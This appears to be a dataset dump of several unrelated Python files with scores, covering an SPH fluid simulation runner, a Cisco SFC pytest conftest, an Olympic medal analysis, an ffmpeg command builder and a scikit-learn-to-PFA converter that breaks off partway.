simulationRun.set('name', '模拟运行结果')
frameSum = ET.SubElement(simulationRun, 'FrameSum')
frameSum.set('name', '帧总数')
frameSum.text = str(numFrames)
animation = ET.SubElement(simulationRun, 'Animation')
animation.set('name', '是否支持动画')
animation.text = 'true'
fluidParticleSum = ET.SubElement(simulationRun, 'Item')
fluidParticleSum.set('name', '流体粒子总数')
fluidParticleSum.text = str(numFluidParticles)
tree = ET.ElementTree(root)
sim_config_file_path = upload_date_dir+'/'+'sim_config_file.xml'
tree.write(sim_config_file_path, encoding="utf-8", xml_declaration=True)
base.cleanup()
# 将路径输出到标准输出
sys.stdout.write(sim_config_file_path) | sph_run.py | import pysplishsplash as sph
from pysplishsplash.Extras import Scenes
import os
import sys
import json
import xml.etree.ElementTree as ET
if __name__ == "__main__":
assert(len(sys.argv) == 5), "sim_run.py should have 4 arguments."
upload_config_file_path = sys.argv[1]
upload_file_dir = sys.argv[2]
upload_date_dir = sys.argv[3]
sim_data_dir = sys.argv[4]
# 为上传文件拼接上传目录
f = open(upload_config_file_path, 'r')
fileObj = json.loads(f.read())
f.close()
for obj in fileObj['RigidBodies']:
obj['geometryFile'] = upload_file_dir+'/'+obj['geometryFile']
fileObj_str = json.dumps(fileObj)
f = open(upload_config_file_path, 'w')
f.write(fileObj_str)
f.close()
# Set up the simulator
base = sph.Exec.SimulatorBase()
base.init(useGui=False, sceneFile=upload_config_file_path,outputDir=sim_data_dir)
#测试用
#base.init(useGui=False, sceneFile=upload_config_file_path)
# Create an imgui simulator
#gui = sph.GUI.Simulator_GUI_imgui(base)
# base.setGui(gui)
base.initSimulation()
base.runSimulation()
sim = sph.Simulation.getCurrent()
numFluidParticles = 0
for i in range(sim.numberOfFluidModels()):
numFluidParticles += sim.getFluidModel(i).numActiveParticles()
numFrames = base.getFrameCounter()
# 写sim_config_file
root = ET.Element('Scene')
root.set('name', '场景')
simulationRun = ET.SubElement(root, 'SimulationRun')
simulationRun.set('name', '模拟运行结果')
frameSum = ET.SubElement(simulationRun, 'FrameSum')
frameSum.set('name', '帧总数')
frameSum.text = str(numFrames)
animation = ET.SubElement(simulationRun, 'Animation')
animation.set('name', '是否支持动画')
animation.text = 'true'
fluidParticleSum = ET.SubElement(simulationRun, 'Item')
fluidParticleSum.set('name', '流体粒子总数')
fluidParticleSum.text = str(numFluidParticles)
tree = ET.ElementTree(root)
sim_config_file_path = upload_date_dir+'/'+'sim_config_file.xml'
tree.write(sim_config_file_path, encoding="utf-8", xml_declaration=True)
base.cleanup()
# 将路径输出到标准输出
sys.stdout.write(sim_config_file_path) | 0.13887 | 0.151184 |
import os
import sys
import json
__author__ = '<NAME>'
__email__ = '<EMAIL>'
__copyright__ = 'Copyright(c) 2015, Cisco Systems, Inc.'
__version__ = '0.1'
__status__ = 'alpha'
"""
Common testing constants, mappings, functions; global pytest settings
"""
#: enable ../sfc-py/common files usage in tests
test_path = os.path.dirname(os.path.abspath(__file__))
test_path_parts = test_path.split(os.sep)
main_path = os.sep.join(test_path_parts[:-1])
sys.path.insert(0, main_path)
#: static URLs for (local) testing
ODL_PORT = 8181
ODL_IP = 'localhost'
LOCAL_ODL_LOCATOR = "{ip}:{port}".format(ip=ODL_IP, port=ODL_PORT)
base_url = "http://{odl_loc}/restconf/".format(odl_loc=LOCAL_ODL_LOCATOR)
cfg_url = base_url + "config/"
opr_url = base_url + "operations/"
SF_URL = cfg_url + "service-function:service-functions/"
SFT_URL = cfg_url + "service-function-type:service-function-types/"
SFP_URL = cfg_url + "service-function-path:service-function-paths/"
SFC_URL = cfg_url + "service-function-chain:service-function-chains/"
SFF_URL = cfg_url + "service-function-forwarder:service-function-forwarders/"
SCF_URL = cfg_url + "service-function-classifier:service-function-classifiers/"
IETF_ACL_URL = cfg_url + "ietf-acl:access-lists/"
RSP_RPC_URL = opr_url + "rendered-service-path:create-rendered-path"
#: map URLs to common test file names and HTTP methods
url_2_json_data = {SF_URL: {'file': 'service_functions',
'method': 'put'},
SFP_URL: {'file': 'service_path',
'method': 'put'},
SFC_URL: {'file': 'service_chains',
'method': 'put'},
SFF_URL: {'file': 'service_function_forwarders',
'method': 'put'},
RSP_RPC_URL: {'file': 'rendered_service_path_rpc',
'method': 'post'}}
def get_test_files(target_direcotry=None):
"""
Get all testing *.json files from 'data' directory.
Create a mapping: file name (without extension) -> absolute file path.
:param target_direcotry: absolute path to directory with testing files
:type target_direcotry: str
:returns dict
"""
if target_direcotry is None:
target_direcotry = os.path.join(os.path.dirname(__file__), 'data')
test_files = []
test_files_names = []
for virl_file in os.listdir(target_direcotry):
path_parts = os.path.splitext(virl_file)
if path_parts[1] == '.json':
test_files.append(os.path.join(target_direcotry, virl_file))
test_files_names.append(path_parts[0])
return dict(zip(test_files_names, test_files))
def read_json(json_file, output=dict):
"""
Load JSON to dict
Create a mapping: file name (without extension) -> absolute file path.
:param json_file: absolute path to the JSON file
:type json_file: str
:param output: specify output format
:type output: class
:returns dict
"""
with open(json_file, mode='r') as _json_file:
if output is dict:
json_data = json.load(_json_file)
elif output is str:
json_data = _json_file.read()
return json_data | test/conftest.py |
import os
import sys
import json
__author__ = '<NAME>'
__email__ = '<EMAIL>'
__copyright__ = 'Copyright(c) 2015, Cisco Systems, Inc.'
__version__ = '0.1'
__status__ = 'alpha'
"""
Common testing constants, mappings, functions; global pytest settings
"""
#: enable ../sfc-py/common files usage in tests
test_path = os.path.dirname(os.path.abspath(__file__))
test_path_parts = test_path.split(os.sep)
main_path = os.sep.join(test_path_parts[:-1])
sys.path.insert(0, main_path)
#: static URLs for (local) testing
ODL_PORT = 8181
ODL_IP = 'localhost'
LOCAL_ODL_LOCATOR = "{ip}:{port}".format(ip=ODL_IP, port=ODL_PORT)
base_url = "http://{odl_loc}/restconf/".format(odl_loc=LOCAL_ODL_LOCATOR)
cfg_url = base_url + "config/"
opr_url = base_url + "operations/"
SF_URL = cfg_url + "service-function:service-functions/"
SFT_URL = cfg_url + "service-function-type:service-function-types/"
SFP_URL = cfg_url + "service-function-path:service-function-paths/"
SFC_URL = cfg_url + "service-function-chain:service-function-chains/"
SFF_URL = cfg_url + "service-function-forwarder:service-function-forwarders/"
SCF_URL = cfg_url + "service-function-classifier:service-function-classifiers/"
IETF_ACL_URL = cfg_url + "ietf-acl:access-lists/"
RSP_RPC_URL = opr_url + "rendered-service-path:create-rendered-path"
#: map URLs to common test file names and HTTP methods
url_2_json_data = {SF_URL: {'file': 'service_functions',
'method': 'put'},
SFP_URL: {'file': 'service_path',
'method': 'put'},
SFC_URL: {'file': 'service_chains',
'method': 'put'},
SFF_URL: {'file': 'service_function_forwarders',
'method': 'put'},
RSP_RPC_URL: {'file': 'rendered_service_path_rpc',
'method': 'post'}}
def get_test_files(target_direcotry=None):
"""
Get all testing *.json files from 'data' directory.
Create a mapping: file name (without extension) -> absolute file path.
:param target_direcotry: absolute path to directory with testing files
:type target_direcotry: str
:returns dict
"""
if target_direcotry is None:
target_direcotry = os.path.join(os.path.dirname(__file__), 'data')
test_files = []
test_files_names = []
for virl_file in os.listdir(target_direcotry):
path_parts = os.path.splitext(virl_file)
if path_parts[1] == '.json':
test_files.append(os.path.join(target_direcotry, virl_file))
test_files_names.append(path_parts[0])
return dict(zip(test_files_names, test_files))
def read_json(json_file, output=dict):
"""
Load JSON to dict
Create a mapping: file name (without extension) -> absolute file path.
:param json_file: absolute path to the JSON file
:type json_file: str
:param output: specify output format
:type output: class
:returns dict
"""
with open(json_file, mode='r') as _json_file:
if output is dict:
json_data = json.load(_json_file)
elif output is str:
json_data = _json_file.read()
return json_data | 0.467818 | 0.064124 |
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
#Path of the file is stored in the variable path
data = pd.read_csv(path)
#Code starts here
# Data Loading
data=data.rename(columns={'Total':'Total_Medals'})
print(data.head(10))
print('='*80)
# Summer or Winter
data['Better_Event']=np.where(data['Total_Summer']==data['Total_Winter'], 'Both',
(np.where(data['Total_Summer']>data['Total_Winter'], 'Summer' , 'Winter')))
a=data['Better_Event'].value_counts()
better_event = list(a.keys())[0]
print(str(better_event))
print('='*80)
# Top 10
top_countries=data[['Country_Name', 'Total_Summer', 'Total_Winter', 'Total_Medals']]
top_countries=top_countries.drop([146], axis=0)
def top_ten(df, col):
country_list=[]
top=df.nlargest(10, col)
country_list=list(top['Country_Name'])
return country_list
top_10_summer=top_ten(top_countries, 'Total_Summer')
top_10_winter=top_ten(top_countries, 'Total_Winter')
top_10=top_ten(top_countries, 'Total_Medals')
common=[]
for i in top_10_summer:
if i in top_10_winter:
if i in top_10:
common.append(i)
print(common)
print('='*80)
# Plotting top 10
summer_df=data[data['Country_Name'].isin(top_10_summer)]
winter_df=data[data['Country_Name'].isin(top_10_winter)]
top_df=data[data['Country_Name'].isin(top_10)]
plt.figure(figsize=[14,8])
plt.xlabel("Name of the Country")
plt.ylabel("No of Total Summer Medals")
plt.bar(summer_df['Country_Name'], summer_df['Total_Summer'])
plt.show()
plt.figure(figsize=[14,8])
plt.xlabel("Name of the Country")
plt.ylabel("No of Total Winter Medals")
plt.bar(winter_df['Country_Name'], winter_df['Total_Winter'])
plt.show()
plt.figure(figsize=[14,8])
plt.xlabel("Name of the Country")
plt.ylabel("No of Total Medals")
plt.bar(top_df['Country_Name'], top_df['Total_Medals'])
plt.show()
print('='*80)
# Top Performing Countries
summer_df['Golden_Ratio'] = summer_df['Gold_Summer'] / summer_df['Total_Summer']
s = summer_df['Golden_Ratio'].idxmax()
summer_max_ratio = summer_df['Golden_Ratio'].loc[s]
summer_country_gold = summer_df['Country_Name'].loc[s]
print(summer_country_gold," : ",summer_max_ratio)
winter_df['Golden_Ratio'] = winter_df['Gold_Winter'] / winter_df['Total_Winter']
s = winter_df['Golden_Ratio'].idxmax()
winter_max_ratio = winter_df['Golden_Ratio'].loc[s]
winter_country_gold = winter_df['Country_Name'].loc[s]
print(winter_country_gold,' : ',winter_max_ratio)
top_df['Golden_Ratio'] = top_df['Gold_Total'] / top_df['Total_Medals']
s = top_df['Golden_Ratio'].idxmax()
top_max_ratio = top_df['Golden_Ratio'].loc[s]
top_country_gold = top_df['Country_Name'].loc[s]
print(top_country_gold,' : ',top_max_ratio)
print('='*80)
# Best in the world
data_1 = data.drop([146], axis=0)
data_1['Total_Points'] = (data_1['Gold_Total'] * 3) + (data_1['Silver_Total'] * 2) + data_1['Bronze_Total']
s = data_1['Total_Points'].idxmax()
most_points = data_1['Total_Points'].loc[s]
best_country = data_1['Country_Name'].loc[s]
print(best_country,' : ',most_points)
print('='*80)
# Plotting the best
best = data_1[data_1['Country_Name'] == best_country]
best = best[['Gold_Total','Silver_Total','Bronze_Total']]
best.plot.bar(stacked=True, figsize=[10,8])
plt.xlabel('United States')
plt.ylabel('Medals Tally')
plt.xticks(rotation=45)
plt.show() | code.py | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
#Path of the file is stored in the variable path
data = pd.read_csv(path)
#Code starts here
# Data Loading
data=data.rename(columns={'Total':'Total_Medals'})
print(data.head(10))
print('='*80)
# Summer or Winter
data['Better_Event']=np.where(data['Total_Summer']==data['Total_Winter'], 'Both',
(np.where(data['Total_Summer']>data['Total_Winter'], 'Summer' , 'Winter')))
a=data['Better_Event'].value_counts()
better_event = list(a.keys())[0]
print(str(better_event))
print('='*80)
# Top 10
top_countries=data[['Country_Name', 'Total_Summer', 'Total_Winter', 'Total_Medals']]
top_countries=top_countries.drop([146], axis=0)
def top_ten(df, col):
country_list=[]
top=df.nlargest(10, col)
country_list=list(top['Country_Name'])
return country_list
top_10_summer=top_ten(top_countries, 'Total_Summer')
top_10_winter=top_ten(top_countries, 'Total_Winter')
top_10=top_ten(top_countries, 'Total_Medals')
common=[]
for i in top_10_summer:
if i in top_10_winter:
if i in top_10:
common.append(i)
print(common)
print('='*80)
# Plotting top 10
summer_df=data[data['Country_Name'].isin(top_10_summer)]
winter_df=data[data['Country_Name'].isin(top_10_winter)]
top_df=data[data['Country_Name'].isin(top_10)]
plt.figure(figsize=[14,8])
plt.xlabel("Name of the Country")
plt.ylabel("No of Total Summer Medals")
plt.bar(summer_df['Country_Name'], summer_df['Total_Summer'])
plt.show()
plt.figure(figsize=[14,8])
plt.xlabel("Name of the Country")
plt.ylabel("No of Total Winter Medals")
plt.bar(winter_df['Country_Name'], winter_df['Total_Winter'])
plt.show()
plt.figure(figsize=[14,8])
plt.xlabel("Name of the Country")
plt.ylabel("No of Total Medals")
plt.bar(top_df['Country_Name'], top_df['Total_Medals'])
plt.show()
print('='*80)
# Top Performing Countries
summer_df['Golden_Ratio'] = summer_df['Gold_Summer'] / summer_df['Total_Summer']
s = summer_df['Golden_Ratio'].idxmax()
summer_max_ratio = summer_df['Golden_Ratio'].loc[s]
summer_country_gold = summer_df['Country_Name'].loc[s]
print(summer_country_gold," : ",summer_max_ratio)
winter_df['Golden_Ratio'] = winter_df['Gold_Winter'] / winter_df['Total_Winter']
s = winter_df['Golden_Ratio'].idxmax()
winter_max_ratio = winter_df['Golden_Ratio'].loc[s]
winter_country_gold = winter_df['Country_Name'].loc[s]
print(winter_country_gold,' : ',winter_max_ratio)
top_df['Golden_Ratio'] = top_df['Gold_Total'] / top_df['Total_Medals']
s = top_df['Golden_Ratio'].idxmax()
top_max_ratio = top_df['Golden_Ratio'].loc[s]
top_country_gold = top_df['Country_Name'].loc[s]
print(top_country_gold,' : ',top_max_ratio)
print('='*80)
# Best in the world
data_1 = data.drop([146], axis=0)
data_1['Total_Points'] = (data_1['Gold_Total'] * 3) + (data_1['Silver_Total'] * 2) + data_1['Bronze_Total']
s = data_1['Total_Points'].idxmax()
most_points = data_1['Total_Points'].loc[s]
best_country = data_1['Country_Name'].loc[s]
print(best_country,' : ',most_points)
print('='*80)
# Plotting the best
best = data_1[data_1['Country_Name'] == best_country]
best = best[['Gold_Total','Silver_Total','Bronze_Total']]
best.plot.bar(stacked=True, figsize=[10,8])
plt.xlabel('United States')
plt.ylabel('Medals Tally')
plt.xticks(rotation=45)
plt.show() | 0.430626 | 0.283124 |
from CONFIG import (
CFFMPEG_STREAM, CFFMPEG_HOST, CFFMPEG_PORT, CFFMPEG_LEGLEVEL, CTMP_DIR
)
class FFMpeg(object):
"""docstring for FFMpeg."""
def __init__(self):
super(FFMpeg, self).__init__()
self.cmd = []
self.cmd.append('ffmpeg')
def log(self, hide_banner=True, stats=False, loglevel=CFFMPEG_LEGLEVEL):
if hide_banner:
self.cmd.append('-hide_banner')
if stats:
self.cmd.append('-stats')
if loglevel:
self.cmd = self.cmd + ['-loglevel', CFFMPEG_LEGLEVEL]
return self
def y(self):
self.cmd.append("-y")
return self
def n(self):
self.cmd.append("-n")
return self
def input(self, file_path, ss=None, re=False):
if ss:
self.cmd = self.cmd + ["-ss", str(ss)]
if re:
self.cmd.append("-re")
self.cmd = self.cmd + ['-i', file_path]
return self
def map(self, stream_identifier):
if stream_identifier:
self.cmd = self.cmd + ['-map', stream_identifier]
return self
def vcodec(self, codec):
if codec:
self.cmd = self.cmd + ['-c:v', codec]
return self
def acodec(self, codec):
if codec:
self.cmd = self.cmd + ['-c:a', codec]
return self
def scodec(self, codec):
if codec:
self.cmd = self.cmd + ['-c:s', codec]
return self
def format(self, format):
if format:
self.cmd = self.cmd + ['-f', format]
return self
def copyts(self):
self.cmd.append('-copyts')
return self
def dump_attachment(self):
self.cmd = self.cmd + ['-dump_attachment:t', '']
return self
def filter_complex(self, filter):
self.cmd = self.cmd + ['-filter_complex', filter]
return self
def output(self, output):
if output:
self.cmd.append(output)
return self
def webm(self, codec="vp9", width=1920, height=1080, max_threads=0):
self.format('webm')
self.cmd = self.cmd + [
'-r', '30', '-g', '90', '-quality', 'realtime',
'-qmin', '4', '-qmax', '48', '-speed', '10'
]
if codec == "vp9":
self.vcodec('vp9')
self.cmd = self.cmd + ['-row-mt', '1']
elif codec == "vp8":
self.vcodec('libvpx')
if width <= 426 and height <= 240:
self.cmd = self.cmd + [
'-vf',
'scale=w=426:h=240:force_original_aspect_ratio=decrease',
# '-speed', '8',
'-threads', str(2 if 2 <= max_threads else max_threads),
'-b:v', '365k', '-bufsize', '730k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '0', '-frame-parallel', '0'
]
elif width <= 640 and height <= 360:
self.cmd = self.cmd + [
'-vf',
'scale=w=640:h=360:force_original_aspect_ratio=decrease',
# '-speed', '7',
'-threads', str(4 if 4 <= max_threads else max_threads),
'-b:v', '730k', '-bufsize', '1460k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '1', '-frame-parallel', '0'
]
elif width <= 854 and height <= 480:
self.cmd = self.cmd + [
'-vf',
'scale=w=854:h=480:force_original_aspect_ratio=decrease',
# '-speed', '6',
'-threads', str(4 if 4 <= max_threads else max_threads),
'-b:v', '1800k', '-bufsize', '3600k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '1', '-frame-parallel', '1'
]
elif width <= 1280 and height <= 720:
self.cmd = self.cmd + [
'-vf',
'scale=w=1280:h=720:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(8 if 8 <= max_threads else max_threads),
'-b:v', '3000k', '-bufsize', '6000k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '2', '-frame-parallel', '1'
]
elif width <= 1920 and height <= 1080:
self.cmd = self.cmd + [
'-vf',
'scale=w=1920:h=1080:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(8 if 8 <= max_threads else max_threads),
'-b:v', '4500k', '-bufsize', '9000k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '2', '-frame-parallel', '1'
]
elif width <= 2560 and height <= 1440:
self.cmd = self.cmd + [
'-vf',
'scale=w=2560:h=1440:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(16 if 16 <= max_threads else max_threads),
'-b:v', '6000k', '-bufsize', '12000k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '3', '-frame-parallel', '1'
]
elif width <= 3840 and height <= 2160:
self.cmd = self.cmd + [
'-vf',
'scale=w=3840:h=2160:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(16 if 16 <= max_threads else max_threads),
'-b:v', '7800k', '-bufsize', '15600k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '3', '-frame-parallel', '1'
]
return self
class FFProbe(object):
def __init__(self):
super(FFProbe, self).__init__()
self.cmd = ['ffprobe']
def log(self, hide_banner=True, loglevel=CFFMPEG_LEGLEVEL):
if hide_banner:
self.cmd.append('-hide_banner')
if loglevel:
self.cmd = self.cmd + ['-loglevel', CFFMPEG_LEGLEVEL]
return self
def input(self, input):
self.cmd = self.cmd + ['-i', input]
return self
def of(self, of="json"):
self.cmd = self.cmd + ['-of', of]
return self
def show_format_entry(self, entry):
self.cmd = self.cmd + ['-show_format_entry', entry]
return self
def duration(self):
self.show_format_entry("duration")
return self
def show_entries(self, entries_str):
self.cmd.append("-show_entries")
if entries_str:
self.cmd.append(entries_str)
return self
def stream(self, entries):
stream_entries = "stream"
if entries:
stream_entries = stream_entries + "=" + ",".join(entries)
self.show_entries(stream_entries)
return self
def streams(self):
self.show_entries("stream")
return self
def stream_tags(self, tags):
stream_tags = "stream_tags"
if tags:
stream_tags = stream_tags + "=" + ",".join(tags)
self.show_entries(stream_tags)
return self
def stream_disposition(self, disposition):
stream_disposition = "stream_disposition"
if disposition:
stream_disposition = (
stream_disposition + "=" + ",".join(disposition)
)
self.show_entries(stream_disposition)
return self
def select_streams(self, selector):
self.cmd = self.cmd + ["-select_streams", selector]
return self
def chapters(self):
self.cmd.append("-show_chapters")
return self | classes/ffmpeg.py | from CONFIG import (
CFFMPEG_STREAM, CFFMPEG_HOST, CFFMPEG_PORT, CFFMPEG_LEGLEVEL, CTMP_DIR
)
class FFMpeg(object):
"""docstring for FFMpeg."""
def __init__(self):
super(FFMpeg, self).__init__()
self.cmd = []
self.cmd.append('ffmpeg')
def log(self, hide_banner=True, stats=False, loglevel=CFFMPEG_LEGLEVEL):
if hide_banner:
self.cmd.append('-hide_banner')
if stats:
self.cmd.append('-stats')
if loglevel:
self.cmd = self.cmd + ['-loglevel', CFFMPEG_LEGLEVEL]
return self
def y(self):
self.cmd.append("-y")
return self
def n(self):
self.cmd.append("-n")
return self
def input(self, file_path, ss=None, re=False):
if ss:
self.cmd = self.cmd + ["-ss", str(ss)]
if re:
self.cmd.append("-re")
self.cmd = self.cmd + ['-i', file_path]
return self
def map(self, stream_identifier):
if stream_identifier:
self.cmd = self.cmd + ['-map', stream_identifier]
return self
def vcodec(self, codec):
if codec:
self.cmd = self.cmd + ['-c:v', codec]
return self
def acodec(self, codec):
if codec:
self.cmd = self.cmd + ['-c:a', codec]
return self
def scodec(self, codec):
if codec:
self.cmd = self.cmd + ['-c:s', codec]
return self
def format(self, format):
if format:
self.cmd = self.cmd + ['-f', format]
return self
def copyts(self):
self.cmd.append('-copyts')
return self
def dump_attachment(self):
self.cmd = self.cmd + ['-dump_attachment:t', '']
return self
def filter_complex(self, filter):
self.cmd = self.cmd + ['-filter_complex', filter]
return self
def output(self, output):
if output:
self.cmd.append(output)
return self
def webm(self, codec="vp9", width=1920, height=1080, max_threads=0):
self.format('webm')
self.cmd = self.cmd + [
'-r', '30', '-g', '90', '-quality', 'realtime',
'-qmin', '4', '-qmax', '48', '-speed', '10'
]
if codec == "vp9":
self.vcodec('vp9')
self.cmd = self.cmd + ['-row-mt', '1']
elif codec == "vp8":
self.vcodec('libvpx')
if width <= 426 and height <= 240:
self.cmd = self.cmd + [
'-vf',
'scale=w=426:h=240:force_original_aspect_ratio=decrease',
# '-speed', '8',
'-threads', str(2 if 2 <= max_threads else max_threads),
'-b:v', '365k', '-bufsize', '730k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '0', '-frame-parallel', '0'
]
elif width <= 640 and height <= 360:
self.cmd = self.cmd + [
'-vf',
'scale=w=640:h=360:force_original_aspect_ratio=decrease',
# '-speed', '7',
'-threads', str(4 if 4 <= max_threads else max_threads),
'-b:v', '730k', '-bufsize', '1460k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '1', '-frame-parallel', '0'
]
elif width <= 854 and height <= 480:
self.cmd = self.cmd + [
'-vf',
'scale=w=854:h=480:force_original_aspect_ratio=decrease',
# '-speed', '6',
'-threads', str(4 if 4 <= max_threads else max_threads),
'-b:v', '1800k', '-bufsize', '3600k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '1', '-frame-parallel', '1'
]
elif width <= 1280 and height <= 720:
self.cmd = self.cmd + [
'-vf',
'scale=w=1280:h=720:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(8 if 8 <= max_threads else max_threads),
'-b:v', '3000k', '-bufsize', '6000k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '2', '-frame-parallel', '1'
]
elif width <= 1920 and height <= 1080:
self.cmd = self.cmd + [
'-vf',
'scale=w=1920:h=1080:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(8 if 8 <= max_threads else max_threads),
'-b:v', '4500k', '-bufsize', '9000k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '2', '-frame-parallel', '1'
]
elif width <= 2560 and height <= 1440:
self.cmd = self.cmd + [
'-vf',
'scale=w=2560:h=1440:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(16 if 16 <= max_threads else max_threads),
'-b:v', '6000k', '-bufsize', '12000k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '3', '-frame-parallel', '1'
]
elif width <= 3840 and height <= 2160:
self.cmd = self.cmd + [
'-vf',
'scale=w=3840:h=2160:force_original_aspect_ratio=decrease',
# '-speed', '5',
'-threads', str(16 if 16 <= max_threads else max_threads),
'-b:v', '7800k', '-bufsize', '15600k'
]
if codec == "vp9":
self.cmd = self.cmd + [
'-tile-columns', '3', '-frame-parallel', '1'
]
return self
class FFProbe(object):
def __init__(self):
super(FFProbe, self).__init__()
self.cmd = ['ffprobe']
def log(self, hide_banner=True, loglevel=CFFMPEG_LEGLEVEL):
if hide_banner:
self.cmd.append('-hide_banner')
if loglevel:
self.cmd = self.cmd + ['-loglevel', CFFMPEG_LEGLEVEL]
return self
def input(self, input):
self.cmd = self.cmd + ['-i', input]
return self
def of(self, of="json"):
self.cmd = self.cmd + ['-of', of]
return self
def show_format_entry(self, entry):
self.cmd = self.cmd + ['-show_format_entry', entry]
return self
def duration(self):
self.show_format_entry("duration")
return self
def show_entries(self, entries_str):
self.cmd.append("-show_entries")
if entries_str:
self.cmd.append(entries_str)
return self
def stream(self, entries):
stream_entries = "stream"
if entries:
stream_entries = stream_entries + "=" + ",".join(entries)
self.show_entries(stream_entries)
return self
def streams(self):
self.show_entries("stream")
return self
def stream_tags(self, tags):
stream_tags = "stream_tags"
if tags:
stream_tags = stream_tags + "=" + ",".join(tags)
self.show_entries(stream_tags)
return self
def stream_disposition(self, disposition):
stream_disposition = "stream_disposition"
if disposition:
stream_disposition = (
stream_disposition + "=" + ",".join(disposition)
)
self.show_entries(stream_disposition)
return self
def select_streams(self, selector):
self.cmd = self.cmd + ["-select_streams", selector]
return self
def chapters(self):
self.cmd.append("-show_chapters")
return self | 0.489503 | 0.166777 |
import sklearn
from sklearn.linear_model import SGDRegressor, SGDClassifier
from sklearn.neural_network import MLPRegressor, MLPClassifier
from sklearn.naive_bayes import MultinomialNB, GaussianNB
from sklearn.neighbors import KNeighborsRegressor, KNeighborsClassifier
from sklearn.ensemble import GradientBoostingRegressor, GradientBoostingClassifier
from sklearn.cluster import KMeans
from .mixed_nb import MixedNB
import logging
import numpy as np
import titus.prettypfa
def sklearn_to_pfa(estimator, types, featurizer=None):
"""
Convert scikit-learn estimator to PFA format.
:param estimator: Scikit-learn estimator, must be supported
:param types: List of tuples (name, type)
"""
types = _fix_types_compatibility(types)
featurizer = featurizer or _construct_featurizer(types)
if isinstance(estimator, SGDRegressor):
return _pfa_sgdregressor(estimator, types, featurizer)
elif isinstance(estimator, SGDClassifier):
return _pfa_sgdclassifier(estimator, types, featurizer)
elif isinstance(estimator, MLPRegressor):
return _pfa_mlpregressor(estimator, types, featurizer)
elif isinstance(estimator, MLPClassifier):
return _pfa_mlpclassifier(estimator, types, featurizer)
elif isinstance(estimator, MultinomialNB):
return _pfa_multinomialnb(estimator, types, featurizer)
elif isinstance(estimator, GaussianNB):
return _pfa_gaussiannb(estimator, types, featurizer)
elif isinstance(estimator, MixedNB):
return _pfa_mixednb(estimator, types, featurizer)
elif isinstance(estimator, KMeans):
return _pfa_kmeans(estimator, types, featurizer)
elif isinstance(estimator, KNeighborsRegressor):
return _pfa_kneighborsregressor(estimator, types, featurizer)
elif isinstance(estimator, KNeighborsClassifier):
return _pfa_kneighborsclassifier(estimator, types, featurizer)
elif isinstance(estimator, GradientBoostingRegressor):
return _pfa_gradientboostingregressor(estimator, types, featurizer)
elif isinstance(estimator, GradientBoostingClassifier):
return _pfa_gradientboostingclassifier(estimator, types, featurizer)
else:
raise NotImplementedError('Estimator {} is not yet supported'.format(estimator.__class__.__name__))
def _pfa_sgdregressor(estimator, types, featurizer):
"""
Example output:
input: record(Data,
feature0: double,
feature1: double,
)
output: double
action:
-2.525797382870301 + 31.7004451488 * input.feature0 + 42.5005713274 * input.feature1
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Regression = record(Regression, const: double, coeff: array(double));
Input = {input_record}
input: Input
output: double
cells:
// query(Query) = {{}};
model(Regression) = {{const: 0.0, coeff: []}};
fcns:
{functions}
action:
var x = {featurizer};
model.reg.linear(x, model)
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['model']['init'] = {'const': estimator.intercept_[0], 'coeff': list(estimator.coef_)}
return pfa
def _pfa_sgdclassifier(estimator, types, featurizer):
"""
Example output:
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Input = record(Input,
a: double,
b: double
);
Regression = record(Regression, const: double, coeff: array(double));
input: Input
output: string
cells:
query(Query) = {sql: SELECT, variable: dep, covariables: [a, b, c]};
model(array(Regression)) = [
{const: 3, coeff: [1, 2]},
{const: 3, coeff: [1, 4]}
];
classes(array(string)) = [a, b, c];
fcns:
featurize = fcn(x: Input -> array(double))
new(array(double),
x.a,
x.b
)
action:
// TODO: define this as a function when functions start working with titus python 3
var x = new(array(double),
input.a,
input.b
);
var scores = a.map(model, fcn(r: Regression -> double) model.reg.linear(x, r));
classes[a.argmax(scores)]
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Regression = record(Regression, const: double, coeff: array(double));
Input = {input_record}
input: Input
output: string
cells:
// query(Query) = {{}};
model(array(Regression)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var scores = a.map(model, fcn(r: Regression -> double) model.reg.linear(x, r));
classes[a.argmax(scores)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['model']['init'] = [
{
'const': const,
'coeff': list(coeff)
} for const, coeff in zip(estimator.intercept_, estimator.coef_)
]
return pfa
def _pfa_mlpregressor(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-neural-network
"""
input_record = _input_record(types)
